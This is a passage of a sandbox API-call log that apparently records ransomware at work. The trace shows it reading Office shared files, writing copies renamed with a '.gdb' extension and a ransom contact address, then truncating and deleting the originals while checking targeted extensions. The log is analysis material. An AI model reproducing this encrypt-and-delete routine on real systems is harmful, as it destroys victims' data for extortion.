lpNumberOfBytesRead=0xa7fca4*=0x978, lpOverlapped=0x0) returned 1 [0121.790] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x980, lpOverlapped=0x0) returned 1 [0121.791] ReadFile (in: hFile=0x210, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0121.791] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0121.791] SetEndOfFile (hFile=0x1cc) returned 1 [0121.791] CloseHandle (hObject=0x1cc) returned 1 [0121.792] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.792] SetEndOfFile (hFile=0x210) returned 1 [0121.793] CloseHandle (hObject=0x210) returned 1 [0121.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.793] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0121.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.794] lstrlenW (lpString=".doc") returned 4 [0121.794] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.794] lstrlenW (lpString=".docx") returned 5 [0121.794] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.794] lstrlenW (lpString=".pdf") returned 4 [0121.794] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.794] lstrlenW (lpString=".xls") returned 4 [0121.794] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.794] lstrlenW (lpString=".xlsx") returned 5 [0121.794] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.794] lstrlenW (lpString=".ppt") returned 4 [0121.794] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.794] lstrlenW (lpString=".zip") returned 4 [0121.794] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.794] lstrlenW (lpString=".rar") returned 4 [0121.794] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.794] lstrlenW (lpString=".bz2") returned 4 [0121.795] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString=".7z") returned 3 [0121.795] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.795] lstrlenW (lpString=".dbf") returned 4 [0121.795] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.795] lstrlenW (lpString=".1cd") returned 4 [0121.795] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.795] lstrlenW (lpString=".jpg") returned 4 [0121.795] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.795] lstrlenW (lpString=".doc") returned 4 [0121.795] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString=".docx") returned 5 [0121.795] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.795] lstrlenW (lpString=".pdf") returned 4 [0121.795] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString=".xls") returned 4 [0121.795] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString=".xlsx") returned 5 [0121.795] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.795] lstrlenW (lpString=".ppt") returned 4 [0121.795] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.795] lstrlenW (lpString=".zip") returned 4 [0121.795] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.795] lstrlenW (lpString=".rar") returned 4 [0121.795] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString=".bz2") returned 4 [0121.795] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.795] lstrlenW (lpString=".7z") returned 3 [0121.796] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.796] lstrlenW (lpString=".dbf") returned 4 [0121.796] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.796] lstrlenW (lpString=".1cd") returned 4 [0121.796] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0121.796] lstrlenW (lpString=".jpg") returned 4 [0121.796] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.796] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.796] lstrlenW (lpString="STOCKS.XML") returned 10 [0121.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.796] GetFileSizeEx (in: hFile=0x210, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=2687) returned 1 [0121.796] CloseHandle (hObject=0x210) returned 1 [0121.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0121.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.797] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.797] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.797] GetLastError () returned 0x0 [0121.797] ReadFile (in: hFile=0x210, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xa7f, lpOverlapped=0x0) returned 1 [0121.807] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xa80, lpOverlapped=0x0) returned 1 [0121.808] ReadFile (in: hFile=0x210, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0121.808] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe8, lpOverlapped=0x0) returned 1 [0121.808] SetEndOfFile (hFile=0x1cc) returned 1 [0121.808] CloseHandle (hObject=0x1cc) returned 1 [0121.809] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.809] SetEndOfFile (hFile=0x210) returned 1 [0121.809] CloseHandle (hObject=0x210) returned 1 [0121.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.810] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0121.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.810] lstrlenW (lpString=".doc") returned 4 [0121.810] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.810] lstrlenW (lpString=".docx") returned 5 [0121.810] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0121.810] lstrlenW (lpString=".pdf") returned 4 [0121.810] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.810] lstrlenW (lpString=".xls") returned 4 [0121.811] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString=".xlsx") returned 5 [0121.811] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0121.811] lstrlenW (lpString=".ppt") returned 4 [0121.811] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.811] lstrlenW (lpString=".zip") returned 4 [0121.811] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.811] lstrlenW (lpString=".rar") returned 4 [0121.811] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString=".bz2") returned 4 [0121.811] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString=".7z") returned 3 [0121.811] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.811] lstrlenW (lpString=".dbf") returned 4 [0121.811] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.811] lstrlenW (lpString=".1cd") returned 4 [0121.811] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.811] lstrlenW (lpString=".jpg") returned 4 [0121.811] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.811] lstrlenW (lpString=".doc") returned 4 [0121.811] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString=".docx") returned 5 [0121.811] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0121.811] lstrlenW (lpString=".pdf") returned 4 [0121.811] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString=".xls") returned 4 [0121.811] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.811] lstrlenW (lpString=".xlsx") returned 5 [0121.812] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0121.812] lstrlenW (lpString=".ppt") returned 4 [0121.812] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.812] lstrlenW (lpString=".zip") returned 4 [0121.812] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.812] lstrlenW (lpString=".rar") returned 4 [0121.812] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.812] lstrlenW (lpString=".bz2") returned 4 [0121.812] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.812] lstrlenW (lpString=".7z") returned 3 [0121.812] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.812] lstrlenW (lpString=".dbf") returned 4 [0121.812] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.812] lstrlenW (lpString=".1cd") returned 4 [0121.812] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0121.812] lstrlenW (lpString=".jpg") returned 4 [0121.812] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.812] lstrcmpiW (lpString1=".XSL", lpString2=".gdb") returned 1 [0121.812] lstrlenW (lpString="BASMLA.XSL") returned 10 [0121.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.813] GetFileSizeEx (in: hFile=0x210, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=227311) returned 1 [0121.813] CloseHandle (hObject=0x210) returned 1 [0121.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0121.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.813] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.813] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.813] GetLastError () returned 0x0 [0121.813] ReadFile (in: hFile=0x210, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x377ef, lpOverlapped=0x0) returned 1 [0121.819] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x377f0, lpOverlapped=0x0) returned 1 [0121.824] ReadFile (in: hFile=0x210, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0121.824] WriteFile (in: hFile=0x1cc, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe8, lpOverlapped=0x0) returned 1 [0121.825] SetEndOfFile (hFile=0x1cc) returned 1 [0121.825] CloseHandle (hObject=0x1cc) returned 1 [0121.827] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0121.827] SetEndOfFile (hFile=0x210) returned 1 [0121.829] CloseHandle (hObject=0x210) returned 1 [0121.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.829] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0121.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.830] lstrlenW (lpString=".doc") returned 4 [0121.830] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString=".docx") returned 5 [0121.830] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0121.830] lstrlenW (lpString=".pdf") returned 4 [0121.830] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString=".xls") returned 4 [0121.830] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString=".xlsx") returned 5 [0121.830] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0121.830] lstrlenW (lpString=".ppt") returned 4 [0121.830] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.830] lstrlenW (lpString=".zip") returned 4 [0121.830] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0121.830] lstrlenW (lpString=".rar") returned 4 [0121.830] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString=".bz2") returned 4 [0121.830] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString=".7z") returned 3 [0121.830] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0121.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.830] lstrlenW (lpString=".dbf") returned 4 [0121.830] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.830] lstrlenW (lpString=".1cd") returned 4 [0121.830] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.830] lstrlenW (lpString=".jpg") returned 4 [0121.830] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.830] lstrlenW (lpString=".doc") returned 4 [0121.830] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString=".docx") returned 5 [0121.830] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0121.830] lstrlenW (lpString=".pdf") returned 4 [0121.830] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0121.830] lstrlenW (lpString=".xls") returned 4 [0121.830] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0121.831] lstrlenW (lpString=".xlsx") returned 5 [0121.831] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0121.831] lstrlenW (lpString=".ppt") returned 4 [0121.831] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0121.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.831] lstrlenW (lpString=".zip") returned 4 [0121.831] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0121.831] lstrlenW (lpString=".rar") returned 4 [0121.831] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0121.831] lstrlenW (lpString=".bz2") returned 4 [0121.831] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0121.831] lstrlenW (lpString=".7z") returned 3 [0121.831] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0121.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.831] lstrlenW (lpString=".dbf") returned 4 [0121.831] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0121.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.831] lstrlenW (lpString=".1cd") returned 4 [0121.831] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0121.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0121.831] lstrlenW (lpString=".jpg") returned 4 [0121.831] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0121.831] lstrcmpiW (lpString1=".TXT", lpString2=".gdb") returned 1 [0121.831] lstrlenW (lpString="METCONV.TXT") returned 11 [0121.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0122.034] GetFileSizeEx (in: hFile=0x200, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1183416) returned 1 [0122.034] CloseHandle (hObject=0x200) returned 1 [0122.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0122.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0122.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0122.034] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0122.034] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0122.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0122.035] GetLastError () returned 0x0 [0122.035] ReadFile (in: hFile=0x200, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, 